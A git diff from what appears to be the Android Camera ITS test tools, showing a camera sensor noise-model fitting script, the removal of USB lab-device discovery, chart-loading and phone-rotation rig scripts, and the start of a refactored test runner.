+      means = np.asarray([s[1] for s in samples[pidx]])
+      vars_ = np.asarray([s[2] for s in samples[pidx]])
+      gains = gains.flatten()
+      means = means.flatten()
+      vars_ = vars_.flatten()
+
+      # Define digital gain as the gain above the max analog gain
+      # per the Camera2 spec. Also, define a corresponding C
+      # expression snippet to use in the generated model code.
+      digital_gains = np.maximum(gains/sens_max_analog, 1)
+      if not np.all(digital_gains == 1):
+        raise AssertionError(f'Digital gain! gains: {gains}, '
+                             f'Max analog gain: {sens_max_analog}.')
+      digital_gain_cdef = '(sens / %d.0) < 1.0 ? 1.0 : (sens / %d.0)' % (
+          sens_max_analog, sens_max_analog)
+
+      # Divide the whole system by gains*means.
+      f = lambda x, a, b, c, d: (c*(x[0]**2)+d+(x[1])*a*x[0]+(x[1])*b)/(x[0])
+      result, _ = scipy.optimize.curve_fit(f, (gains, means), vars_/(gains))
+
+      a_p, b_p, c_p, d_p = result[0:4]
+      noise_model.append(result[0:4])
+
+      # Plot noise model components with the values predicted by the model.
+      slp_model = result[0]*sens + result[1]
+      int_model = result[2]*sens_sq + result[3]*np.square(np.maximum(
+          sens/sens_max_analog, 1))
+
+      plt_slope.loglog(sens, slp_measured, 'rgkb'[pidx]+'+', base=10,
+                       label='Measured')
+      plt_slope.loglog(sens, slp_model, 'rgkb'[pidx]+'x', base=10,
+                       label='Model')
+      plt_intercept.loglog(sens, int_measured, 'rgkb'[pidx]+'+', base=10,
+                           label='Measured')
+      plt_intercept.loglog(sens, int_model, 'rgkb'[pidx]+'x', base=10,
+                           label='Model')
+    plt_slope.legend()
+    plt_intercept.legend()
+    fig.savefig('%s.png' % os.path.join(log_path, _NAME))
+
+    # Generate individual noise model components
+    noise_model_a, noise_model_b, noise_model_c, noise_model_d = zip(
+        *noise_model)
+
+    # Add models to subplots and re-save
+    for [s, fig] in plots:  # re-step through figs...
+      dig_gain = max(s/sens_max_analog, 1)
+      fig.gca()
+      for (pidx, p) in enumerate(measured_models):
+        slope = noise_model_a[pidx]*s + noise_model_b[pidx]
+        intercept = noise_model_c[pidx]*s**2 + noise_model_d[pidx]*dig_gain**2
+        color_plane_plots[s][pidx].plot(
+            [0, _MAX_SIGNAL_VALUE],
+            [intercept, intercept+slope*_MAX_SIGNAL_VALUE],
+            'rgkb'[pidx]+'-', label='Model', alpha=0.5)
+        color_plane_plots[s][pidx].legend(loc='upper left')
+      fig.savefig(
+          '%s_samples_iso%04d.png' % (os.path.join(log_path, _NAME), s))
+
+    # Validity checks on model: read noise > 0, positive slope.
+    for i, _ in enumerate(_BAYER_LIST):
+      read_noise = noise_model_c[i] * sens_min * sens_min + noise_model_d[i]
+      if read_noise <= 0:
+        raise AssertionError(f'{_BAYER_LIST[i]} model min ISO noise < 0! '
+                             f'C: {noise_model_c[i]:.4e}, '
+                             f'D: {noise_model_d[i]:.4e}, '
+                             f'read_noise: {read_noise:.4e}')
+      if noise_model_c[i] <= 0:
+        raise AssertionError(f'{_BAYER_LIST[i]} model slope is negative. '
+                             f' slope={noise_model_c[i]:.4e}')
+
+    # Generate the noise model file.
+    create_noise_model_code(
+        noise_model_a, noise_model_b, noise_model_c, noise_model_d,
+        sens_min, sens_max, digital_gain_cdef, log_path)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tools/hardware.py b/apps/CameraITS/tools/hardware.py
deleted file mode 100644
index 5b19b02..0000000
--- a/apps/CameraITS/tools/hardware.py
+++ /dev/null
@@ -1,348 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os
-import re
-
-
-class Device(object):
-    """Create dict object for relay usb connection.
-
-       This class provides an interface to locate lab equipment without encoding
-       knowledge of the USB bus topology in the lab equipment device drivers.
-    """
-
-    KEY_VID = 'vendor_id'
-    KEY_PID = 'product_id'
-    KEY_SN = 'serial_no'
-    KEY_INF = 'inf'
-    KEY_CFG = 'config'
-    KEY_NAME = 'name'
-    KEY_TTY = 'tty_path'
-    KEY_MFG = 'mfg'
-    KEY_PRD = 'product'
-    KEY_VER = 'version'
-
-    _instance = None
-
-    _USB_DEVICE_SYS_ROOT = '/sys/bus/usb/devices'
-    _DEV_ROOT = '/dev'
-
-    _SYS_VENDOR_ID = 'idVendor'
-    _SYS_PRODUCT_ID = 'idProduct'
-    _SYS_SERIAL_NO = 'serial'
-    _INF_CLASS = 'bInterfaceClass'
-    _INF_SUB_CLASS = 'bInterfaceSubClass'
-    _INF_PROTOCOL = 'bInterfaceProtocol'
-    _MFG_STRING = 'manufacturer'
-    _PRODUCT_STRING = 'product'
-    _VERSION_STRING = 'version'
-
-    _USB_CDC_ACM_CLASS = 0x02
-    _USB_CDC_ACM_SUB_CLASS = 0x02
-    _USB_CDC_ACM_PROTOCOL = 0x01
-
-    def __init__(self, name, vid, pid, cfg, inf):
-        self._device_list = []
-
-        self._build_device(name, vid, pid, cfg, inf)
-
-        self._walk_usb_tree(self._init_device_list_callback, None)
-
-    def __new__(cls, *args, **kwargs):
-        # The Device class should be a singleton.  A lab test procedure may
-        # use multiple pieces of lab equipment and we do not want to have to
-        # create a new instance of the Device for each device.
-        if not cls._instance:
-            cls._instance = super(Device, cls).__new__(cls, *args, **kwargs)
-        return cls._instance
-
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exception_type, exception_value, traceback):
-        pass
-
-    def _build_device(self, name, vid, pid, cfg, inf):
-        """Build relay device information.
-
-        Args:
-            name:   device
-            vid:    vendor ID
-            pid:    product ID
-            cfg:    configuration
-            inf:    interface
-
-        Returns:
-            Nothing
-        """
-        entry = {}
-        entry[self.KEY_NAME] = name
-        entry[self.KEY_VID] = int(vid, 16)
-        entry[self.KEY_PID] = int(pid, 16)
-
-        # The serial number string is optional in USB and not all devices
-        # use it.  The relay devices do not use it then we specify 'None' in
-        # the lab configuration file.
-        entry[self.KEY_SN] = None
-        entry[self.KEY_CFG] = int(cfg)
-        entry[self.KEY_INF] = int(inf)
-        entry[self.KEY_TTY] = None
-
-        self._device_list.append(entry)
-
-    def _find_lab_device_entry(self, vendor_id, product_id, serial_no):
-        """find a device in the lab device list.
-
-        Args:
-            vendor_id: unique vendor id for device
-            product_id: unique product id for device
-            serial_no: serial string for the device (may be None)
-
-        Returns:
-            device entry or None
-        """
-        for device in self._device_list:
-            if device[self.KEY_VID] != vendor_id:
-                continue
-            if device[self.KEY_PID] != product_id:
-                continue
-            if device[self.KEY_SN] == serial_no:
-                return device
-
-        return None
-
-    def _read_sys_attr(self, root, attr):
-        """read a sysfs attribute.
-
-        Args:
-            root: path of the sysfs directory
-            attr: attribute to read
-
-        Returns:
-            attribute value or None
-        """
-        try:
-            path = os.path.join(root, attr)
-            with open(path) as f:
-                return f.readline().rstrip()
-        except IOError:
-            return None
-
-    def _read_sys_hex_attr(self, root, attr):
-        """read a sysfs hexadecimal integer attribute.
-
-        Args:
-            root: path of the sysfs directory
-            attr: attribute to read
-
-        Returns:
-            attribute value or None
-        """
-        try:
-            path = os.path.join(root, attr)
-            with open(path) as f:
-                return int(f.readline(), 16)
-        except IOError:
-            return None
-
-    def _is_cdc_acm(self, inf_path):
-        """determine if the interface implements the CDC ACM class.
-
-        Args:
-            inf_path: directory entry for the inf under /sys/bus/usb/devices
-
-        Returns:
-            True if the inf is CDC ACM, false otherwise
-        """
-        cls = self._read_sys_hex_attr(inf_path, self._INF_CLASS)
-        sub_cls = self._read_sys_hex_attr(inf_path, self._INF_SUB_CLASS)
-        proto = self._read_sys_hex_attr(inf_path, self._INF_PROTOCOL)
-        if self._USB_CDC_ACM_CLASS != cls:
-            return False
-        if self._USB_CDC_ACM_SUB_CLASS != sub_cls:
-            return False
-        if self._USB_CDC_ACM_PROTOCOL != proto:
-            return False
-
-        return True
-
-    def _read_tty_name(self, dir_entry, inf, cfg):
-        """Get the path to the associated tty device.
-
-        Args:
-            dir_entry: directory entry for the device under /sys/bus/usb/devices
-            inf: Interface number of the device
-            cfg: Configuration number of the device
-
-        Returns:
-            Path to a tty device or None
-        """
-        inf_path = os.path.join(self._USB_DEVICE_SYS_ROOT,
-                                '%s:%d.%d' % (dir_entry, cfg, inf))
-
-        # first determine if this is a CDC-ACM or USB Serial device.
-        if self._is_cdc_acm(inf_path):
-            tty_list = os.listdir(os.path.join(inf_path, 'tty'))
-
-            # Each CDC-ACM interface should only have one tty device associated
-            # with it so just return the first item in the list.
-            return os.path.join(self._DEV_ROOT, tty_list[0])
-        else:
-            # USB Serial devices have a link to their ttyUSB* device in the inf
-            # directory
-            tty_re = re.compile(r'ttyUSB\d+$')
-
-            dir_list = os.listdir(inf_path)
-            for entry in dir_list:
-                if tty_re.match(entry):
-                    return os.path.join(self._DEV_ROOT, entry)
-
-        return None
-
-    def _init_device_list_callback(self, _, dir_entry):
-        """Callback function used with _walk_usb_tree for device list init.
-
-        Args:
-            _: Callback context (unused)
-            dir_entry: Directory entry reported by _walk_usb_tree
-
-        """
-        path = os.path.join(self._USB_DEVICE_SYS_ROOT, dir_entry)
-
-        # The combination of vendor id, product id, and serial number
-        # should be sufficient to uniquely identify each piece of lab
-        # equipment.
-        vendor_id = self._read_sys_hex_attr(path, self._SYS_VENDOR_ID)
-        product_id = self._read_sys_hex_attr(path, self._SYS_PRODUCT_ID)
-        serial_no = self._read_sys_attr(path, self._SYS_SERIAL_NO)
-
-        # For each device try to match it with a device entry in the lab
-        # configuration.
-        device = self._find_lab_device_entry(vendor_id, product_id, serial_no)
-        if device:
-            # If the device is in the lab configuration then determine
-            # which tty device it associated with.
-            device[self.KEY_TTY] = self._read_tty_name(dir_entry,
-                                                       device[self.KEY_INF],
-                                                       device[self.KEY_CFG])
-
-    def _list_all_tty_devices_callback(self, dev_list, dir_entry):
-        """Callback for _walk_usb_tree when listing all USB serial devices.
-
-        Args:
-            dev_list: Device list to fill
-            dir_entry: Directory entry reported by _walk_usb_tree
-
-        """
-        dev_path = os.path.join(self._USB_DEVICE_SYS_ROOT, dir_entry)
-
-        # Determine if there are any interfaces in the sys directory for the
-        # USB Device.
-        inf_re = re.compile(r'\d+-\d+(\.\d+){0,}:(?P<cfg>\d+)\.(?P<inf>\d+)$')
-        inf_dir_list = os.listdir(dev_path)
-
-        for inf_entry in inf_dir_list:
-            inf_match = inf_re.match(inf_entry)
-            if inf_match is None:
-                continue
-
-            inf_dict = inf_match.groupdict()
-            inf = int(inf_dict['inf'])
-            cfg = int(inf_dict['cfg'])
-
-            # Check to see if there is a tty device associated with this
-            # interface.
-            tty_path = self._read_tty_name(dir_entry, inf, cfg)
-            if tty_path is None:
-                continue
-
-            # This is a TTY interface, create a dictionary of the relevant
-            # sysfs attributes for this device.
-            entry = {}
-            entry[self.KEY_TTY] = tty_path
-            entry[self.KEY_INF] = inf
-            entry[self.KEY_CFG] = cfg
-            entry[self.KEY_VID] = self._read_sys_hex_attr(dev_path,
-                                                          self._SYS_VENDOR_ID)
-            entry[self.KEY_PID] = self._read_sys_hex_attr(dev_path,
-                                                          self._SYS_PRODUCT_ID)
-            entry[self.KEY_SN] = self._read_sys_attr(dev_path,
-                                                     self._SYS_SERIAL_NO)
-            entry[self.KEY_MFG] = self._read_sys_attr(dev_path,
-                                                      self._MFG_STRING)
-            entry[self.KEY_PRD] = self._read_sys_attr(dev_path,
-                                                      self._PRODUCT_STRING)
-            entry[self.KEY_VER] = self._read_sys_attr(dev_path,
-                                                      self._VERSION_STRING)
-
-            # If this device is also in the lab device list then add the
-            # friendly name for it.
-            lab_device = self._find_lab_device_entry(entry[self.KEY_VID],
-                                                     entry[self.KEY_PID],
-                                                     entry[self.KEY_SN])
-            if lab_device is not None:
-                entry[self.KEY_NAME] = lab_device[self.KEY_NAME]
-
-            dev_list.append(entry)
-
-    def _walk_usb_tree(self, callback, context):
-        """Walk the USB device and locate lab devices.
-
-           Traverse the USB device tree in /sys/bus/usb/devices and inspect each
-           device and see if it matches a device in the lab configuration.  If
-           it does then get the path to the associated tty device.
-
-        Args:
-            callback: Callback to invoke when a USB device is found.
-            context: Context variable for callback.
-
-        Returns:
-            Nothing
-        """
-        # Match only devices, exclude interfaces and root hubs
-        file_re = re.compile(r'\d+-\d+(\.\d+){0,}$')
-        dir_list = os.listdir(self._USB_DEVICE_SYS_ROOT)
-
-        for dir_entry in dir_list:
-            if file_re.match(dir_entry):
-                callback(context, dir_entry)
-
-    def get_tty_path(self, name):
-        """Get the path to the tty device for a given lab device.
-
-        Args:
-            name: lab device identifier, e.g. 'rail', or 'bt_trigger'
-
-        Returns:
-            Path to the tty device otherwise None
-        """
-        for dev in self._device_list:
-            if dev[self.KEY_NAME] == name and dev[self.KEY_NAME] is not None:
-                return dev[self.KEY_TTY]
-
-        return None
-
-    def get_tty_devices(self):
-        """Get a list of all USB based tty devices attached to the machine.
-
-        Returns:
-            List of dictionaries where each dictionary contains a description of
-            the USB TTY device.
-        """
-        all_dev_list = []
-        self._walk_usb_tree(self._list_all_tty_devices_callback, all_dev_list)
-
-        return all_dev_list
-
diff --git a/apps/CameraITS/tools/load_scene.py b/apps/CameraITS/tools/load_scene.py
deleted file mode 100644
index c1bd79e..0000000
--- a/apps/CameraITS/tools/load_scene.py
+++ /dev/null
@@ -1,102 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os
-import re
-import subprocess
-import sys
-import time
-
-import its.cv2image
-import numpy as np
-
-LOAD_SCENE_DELAY = 2  # seconds
-
-def main():
-    """Load charts on device and display."""
-    scene = None
-    out_path = ""
-    for s in sys.argv[1:]:
-        if s[:6] == 'scene=' and len(s) > 6:
-            scene = s[6:]
-        elif s[:7] == 'screen=' and len(s) > 7:
-            screen_id = s[7:]
-        elif s[:5] == 'dist=' and len(s) > 5:
-            chart_distance = float(re.sub('cm', '', s[5:]))
-        elif s[:4] == 'fov=' and len(s) > 4:
-            camera_fov = float(s[4:])
-        elif s[:7] == "camera=" and len(s) > 7:
-            camera_id = str(s[7:])
-
-    cmd = ('adb -s %s shell am force-stop com.google.android.apps.docs' %
-           screen_id)
-    subprocess.Popen(cmd.split())
-
-    if out_path != "":
-        scene_name = re.split("/|\.", out_path)[-2]
-
-    if not scene:
-        print 'Error: need to specify which scene to load'
-        assert False
-
-    if not screen_id:
-        print 'Error: need to specify screen serial'
-        assert False
-
-    src_scene_path = os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', scene)
-    dst_scene_file = '/sdcard/Download/%s.pdf' % scene
-    chart_scaling = its.cv2image.calc_chart_scaling(chart_distance, camera_fov)
-    if np.isclose(chart_scaling, its.cv2image.SCALE_TELE_IN_WFOV_BOX, atol=0.01):
-        file_name = '%s_%sx_scaled.pdf' % (
-                scene, str(its.cv2image.SCALE_TELE_IN_WFOV_BOX))
-    elif np.isclose(chart_scaling, its.cv2image.SCALE_RFOV_IN_WFOV_BOX, atol=0.01):
-        file_name = '%s_%sx_scaled.pdf' % (
-                scene, str(its.cv2image.SCALE_RFOV_IN_WFOV_BOX))
-    else:
-        file_name = '%s.pdf' % scene
-    src_scene_file = os.path.join(src_scene_path, file_name)
-    print 'Loading %s on %s' % (src_scene_file, screen_id)
-    cmd = 'adb -s %s push %s /mnt%s' % (screen_id, src_scene_file,
-                                        dst_scene_file)
-    subprocess.Popen(cmd.split())
-    time.sleep(LOAD_SCENE_DELAY)  # wait-for-device doesn't always seem to work
-    # The intent require PDF viewing app be installed on device.
-    # Also the first time such app is opened it might request some permission,
-    # so it's  better to grant those permissions before using this script
-    cmd = ("adb -s %s wait-for-device shell am start -d 'file://%s'"
-           " -a android.intent.action.VIEW" % (screen_id, dst_scene_file))
-    subprocess.Popen(cmd.split())
-    time.sleep(LOAD_SCENE_DELAY)
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        cam.do_3a()
-        req = its.objects.fastest_auto_capture_request(props)
-        print "Capture an image to validate the light level"
-        cap = cam.do_capture(req)
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(
-            img, os.path.join(out_path, camera_id, scene, "validate_lighting.jpg"))
-        # Check if ITS is being run in WFoV or RFoV ITS rigs, and DUT's FoV.
-        if (np.isclose(chart_distance, its.cv2image.CHART_DISTANCE_RFOV, rtol=0.1) and
-            its.cv2image.FOV_THRESH_TELE <= camera_fov and
-            camera_fov <= its.cv2image.FOV_THRESH_WFOV):
-                its.image.validate_lighting(img)
-        elif (np.isclose(chart_distance, its.cv2image.CHART_DISTANCE_WFOV, rtol=0.1) and
-            camera_fov > its.cv2image.FOV_THRESH_WFOV):
-                its.image.validate_lighting(img)
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tools/rotation_rig.py b/apps/CameraITS/tools/rotation_rig.py
deleted file mode 100644
index 3a27146..0000000
--- a/apps/CameraITS/tools/rotation_rig.py
+++ /dev/null
@@ -1,309 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import codecs
-import logging
-import struct
-import sys
-import time
-import hardware as hw
-import pyudev
-import serial
-import serial.tools.list_ports
-
-ARDUINO_ANGLE_MAX = 180.0  # degrees
-ARDUINO_ANGLES = [0]*5 + range(0, 90, 3) + [90]*5 + range(90, -1, -3)
-ARDUINO_BAUDRATE = 9600
-ARDUINO_CMD_LENGTH = 3
-ARDUINO_CMD_TIME = 2.0 * ARDUINO_CMD_LENGTH / ARDUINO_BAUDRATE  # round trip
-ARDUINO_DEFAULT_CH = '1'
-ARDUINO_MOVE_TIME = 0.06 - ARDUINO_CMD_TIME  # seconds
-ARDUINO_START_BYTE = 255
-ARDUINO_START_NUM_TRYS = 3
-ARDUINO_TEST_CMD = [b'\x01', b'\x02', b'\x03']
-ARDUINO_VALID_CH = ['1', '2', '3', '4', '5', '6']
-CANAKIT_BAUDRATE = 115200
-CANAKIT_COM_SLEEP = 0.05
-CANAKIT_DATA_DELIMITER = '\r\n'
-CANAKIT_DEFAULT_CH = '1'
-CANAKIT_DEVICE = 'relay'
-CANAKIT_PID = 'fc73'
-CANAKIT_SET_CMD = 'REL'
-CANAKIT_SLEEP_TIME = 2  # seconds
-CANAKIT_VALID_CMD = ['ON', 'OFF']
-CANAKIT_VALID_CH = ['1', '2', '3', '4']
-CANAKIT_VID = '04d8'
-HS755HB_ANGLE_MAX = 202.0  # degrees
-NUM_ROTATIONS = 10
-SERIAL_SEND_TIMEOUT = 0.02
-
-
-def get_cmd_line_args():
-    """Get command line arguments.
-
-    Args:
-        None, but gets sys.argv()
-    Returns:
-        rotate_cntl:    str; 'arduino' or 'canakit'
-        rotate_ch:      dict; arduino -> {'ch': str}
-                              canakit --> {'vid': str, 'pid': str, 'ch': str}
-        num_rotations:  int; number of rotations
-    """
-    num_rotations = NUM_ROTATIONS
-    rotate_cntl = 'canakit'
-    rotate_ch = {}
-    for s in sys.argv[1:]:
-        if s[:8] == 'rotator=':
-            if len(s) > 8:
-                rotator_ids = s[8:].split(':')
-                if len(rotator_ids) == 1:
-                    # 'rotator=default'
-                    if rotator_ids[0] == 'default':
-                        print ('Using default values %s:%s:%s for VID:PID:CH '
-                               'of rotator' % (CANAKIT_VID, CANAKIT_PID,
-                                               CANAKIT_DEFAULT_CH))
-                        vid = '0x' + CANAKIT_VID
-                        pid = '0x' + CANAKIT_PID
-                        ch = CANAKIT_DEFAULT_CH
-                        rotate_ch = {'vid': vid, 'pid': pid, 'ch': ch}
-                    # 'rotator=$ch'
-                    elif rotator_ids[0] in CANAKIT_VALID_CH:
-                        print ('Using default values %s:%s for VID:PID '
-                               'of rotator' % (CANAKIT_VID, CANAKIT_PID))
-                        vid = '0x' + CANAKIT_VID
-                        pid = '0x' + CANAKIT_PID
-                        ch = rotator_ids[0]
-                        rotate_ch = {'vid': vid, 'pid': pid, 'ch': ch}
-                    # 'rotator=arduino'
-                    elif rotator_ids[0] == 'arduino':
-                        rotate_cntl = 'arduino'
-                        rotate_ch = {'ch': ARDUINO_DEFAULT_CH}
-                # 'rotator=arduino:$ch'
-                elif len(rotator_ids) == 2:
-                    rotate_cntl = 'arduino'
-                    ch = rotator_ids[1]
-                    rotate_ch = {'ch': ch}
-                    if ch not in ARDUINO_VALID_CH:
-                        print 'Invalid arduino ch: %s' % ch
-                        print 'Valid channels:', ARDUINO_VALID_CH
-                        sys.exit()
-                # 'rotator=$vid:$pid:$ch'
-                elif len(rotator_ids) == 3:
-                    vid = '0x' + rotator_ids[0]
-                    pid = '0x' + rotator_ids[1]
-                    rotate_ch = {'vid': vid, 'pid': pid, 'ch': rotator_ids[2]}
-                else:
-                    err_string = 'Rotator ID (if entered) must be of form: '
-                    err_string += 'rotator=default or rotator=CH or '
-                    err_string += 'rotator=VID:PID:CH or '
-                    err_string += 'rotator=arduino or rotator=arduino:CH'
-                    print err_string
-                    sys.exit()
-            if (rotate_cntl == 'canakit' and
-                        rotate_ch['ch'] not in CANAKIT_VALID_CH):
-                print 'Invalid canakit ch: %s' % rotate_ch['ch']
-                print 'Valid channels:', CANAKIT_VALID_CH
-                sys.exit()
-
-        if s[:14] == 'num_rotations=':
-            num_rotations = int(s[14:])
-
-    return rotate_cntl, rotate_ch, num_rotations
-
-
-def serial_port_def(name):
-    """Determine the serial port and open.
-
-    Args:
-        name:   str; device to locate (ie. 'Arduino')
-    Returns:
-        serial port object
-    """
-    devices = pyudev.Context()
-    for device in devices.list_devices(subsystem='tty', ID_BUS='usb'):
-        if name in device['ID_VENDOR']:
-            arduino_port = device['DEVNAME']
-            break
-
-    return serial.Serial(arduino_port, ARDUINO_BAUDRATE, timeout=1)
-
-
-def arduino_read_cmd(port):
-    """Read back Arduino command from serial port."""
-    cmd = []
-    for _ in range(ARDUINO_CMD_LENGTH):
-        cmd.append(port.read())
-    return cmd
-
-
-def arduino_send_cmd(port, cmd):
-    """Send command to serial port."""
-    for i in range(ARDUINO_CMD_LENGTH):
-        port.write(cmd[i])
-
-
-def arduino_loopback_cmd(port, cmd):
-    """Send command to serial port."""
-    arduino_send_cmd(port, cmd)
-    time.sleep(ARDUINO_CMD_TIME)
-    return arduino_read_cmd(port)
-
-
-def establish_serial_comm(port):
-    """Establish connection with serial port."""
-    print 'Establishing communication with %s' % port.name
-    trys = 1
-    hex_test = convert_to_hex(ARDUINO_TEST_CMD)
-    logging.info(' test tx: %s %s %s', hex_test[0], hex_test[1], hex_test[2])
-    while trys <= ARDUINO_START_NUM_TRYS:
-        cmd_read = arduino_loopback_cmd(port, ARDUINO_TEST_CMD)
-        hex_read = convert_to_hex(cmd_read)
-        logging.info(' test rx: %s %s %s',
-                     hex_read[0], hex_read[1], hex_read[2])
-        if cmd_read != ARDUINO_TEST_CMD:
-            trys += 1
-        else:
-            logging.info(' Arduino comm established after %d try(s)', trys)
-            break
-
-
-def convert_to_hex(cmd):
-    # compatible with both python 2 and python 3
-    return [('%0.2x' % int(codecs.encode(x, 'hex_codec'), 16) if x else '--')
-            for x in cmd]
-
-
-def arduino_rotate_servo_to_angle(ch, angle, serial_port, delay=0):
-    """Rotate servo to the specified angle.
-
-    Args:
-        ch:             str; servo to rotate in ARDUINO_VALID_CH
-        angle:          int; servo angle to move to
-        serial_port:    object; serial port
-        delay:          int; time in seconds
-    """
-
-    err_msg = 'Angle must be between 0 and %d.' % (ARDUINO_ANGLE_MAX)
-    if angle < 0:
-        print err_msg
-        angle = 0
-    elif angle > ARDUINO_ANGLE_MAX:
-        print err_msg
-        angle = ARDUINO_ANGLE_MAX
-    cmd = [struct.pack('B', i) for i in [ARDUINO_START_BYTE, int(ch), angle]]
-    arduino_send_cmd(serial_port, cmd)
-    time.sleep(delay)
-
-
-def arduino_rotate_servo(ch, serial_port):
-    """Rotate servo between 0 --> 90 --> 0.
-
-    Args:
-        ch:             str; servo to rotate
-        serial_port:    object; serial port
-    """
-    for angle in ARDUINO_ANGLES:
-        angle_norm = int(round(angle*ARDUINO_ANGLE_MAX/HS755HB_ANGLE_MAX, 0))
-        arduino_rotate_servo_to_angle(
-                ch, angle_norm, serial_port, ARDUINO_MOVE_TIME)
-
-
-def canakit_cmd_send(vid, pid, cmd_str):
-    """Wrapper for sending serial command.
-
-    Args:
-        vid:     str; vendor ID
-        pid:     str; product ID
-        cmd_str: str; value to send to device.
-    """
-    hw_list = hw.Device(CANAKIT_DEVICE, vid, pid, '1', '0')
-    relay_port = hw_list.get_tty_path('relay')
-    relay_ser = serial.Serial(relay_port, CANAKIT_BAUDRATE,
-                              timeout=SERIAL_SEND_TIMEOUT,
-                              parity=serial.PARITY_EVEN,
-                              stopbits=serial.STOPBITS_ONE,
-                              bytesize=serial.EIGHTBITS)
-    try:
-        relay_ser.write(CANAKIT_DATA_DELIMITER)
-        time.sleep(CANAKIT_COM_SLEEP)  # This is critical for relay.
-        relay_ser.write(cmd_str)
-        relay_ser.close()
-    except ValueError:
-        print 'Port %s:%s is not open' % (vid, pid)
-        sys.exit()
-
-
-def set_relay_channel_state(vid, pid, ch, relay_state):
-    """Set relay channel and state.
-
-    Args:
-        vid:          str; vendor ID
-        pid:          str; product ID
-        ch:           str; channel number of relay to set. '1', '2', '3', or '4'
-        relay_state:  str; either 'ON' or 'OFF'
-    Returns:
-        None
-    """
-    if ch in CANAKIT_VALID_CH and relay_state in CANAKIT_VALID_CMD:
-        canakit_cmd_send(
-                vid, pid, CANAKIT_SET_CMD + ch + '.' + relay_state + '\r\n')
-    else:
-        print 'Invalid channel or command, no command sent.'
-
-
-def main():
-    """Main function.
-
-    expected rotator string is vid:pid:ch or arduino:ch.
-    Canakit vid:pid can be found through lsusb on the host.
-    ch is hard wired and must be determined from the controller.
-    """
-    # set up logging for debug info
-    logging.basicConfig(level=logging.INFO)
-
-    # get cmd line args
-    rotate_cntl, rotate_ch, num_rotations = get_cmd_line_args()
-    ch = rotate_ch['ch']
-    print 'Controller: %s, ch: %s' % (rotate_cntl, ch)
-
-    # initialize port and cmd strings
-    if rotate_cntl == 'arduino':
-        # initialize Arduino port
-        serial_port = serial_port_def('Arduino')
-
-        # send test cmd to Arduino until cmd returns properly
-        establish_serial_comm(serial_port)
-
-        # initialize servo at origin
-        print 'Moving servo to origin'
-        arduino_rotate_servo_to_angle(ch, 0, serial_port, 1)
-    else:
-        vid = rotate_ch['vid']
-        pid = rotate_ch['pid']
-
-    # rotate phone
-    print 'Rotating phone %dx' % num_rotations
-    for _ in xrange(num_rotations):
-        if rotate_cntl == 'arduino':
-            arduino_rotate_servo(ch, serial_port)
-        else:
-            set_relay_channel_state(vid, pid, ch, 'ON')
-            time.sleep(CANAKIT_SLEEP_TIME)
-            set_relay_channel_state(vid, pid, ch, 'OFF')
-            time.sleep(CANAKIT_SLEEP_TIME)
-    print 'Finished rotations'
-
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 67a62a3..823616a 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -12,763 +12,601 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import copy
-import math
+import json
+import logging
 import os
 import os.path
-import re
 import subprocess
 import sys
 import tempfile
-import threading
 import time
+import yaml
 
-import its.caps
-import its.cv2image
-import its.device
-from its.device import ItsSession
-import its.image
-import rotation_rig as rot
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
 
-# For checking the installed APK's target SDK version
-MIN_SUPPORTED_SDK_VERSION = 28  # P
+YAML_FILE_DIR = os.environ['CAMERA_ITS_TOP']
+CONFIG_FILE = os.path.join(YAML_FILE_DIR, 'config.yml')
+TEST_KEY_TABLET = 'tablet'
+TEST_KEY_SENSOR_FUSION = 'sensor_fusion'
+LOAD_SCENE_DELAY = 1  # seconds
+ACTIVITY_START_WAIT = 1.5  # seconds
 
-CHART_DELAY = 1  # seconds
-CHART_LEVEL = 96
-NOT_YET_MANDATED_ALL = 100
-NUM_TRYS = 2
-PROC_TIMEOUT_CODE = -101  # terminated process return -process_id
-PROC_TIMEOUT_TIME = 900  # timeout in seconds for a process (15 minutes)
-SCENE3_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
-                           'test_images', 'ISO12233.png')
-SKIP_RET_CODE = 101  # note this must be same as tests/scene*/test_*
-VGA_HEIGHT = 480
-VGA_WIDTH = 640
+RESULT_PASS = 'PASS'
+RESULT_FAIL = 'FAIL'
+RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
+RESULT_KEY = 'result'
+SUMMARY_KEY = 'summary'
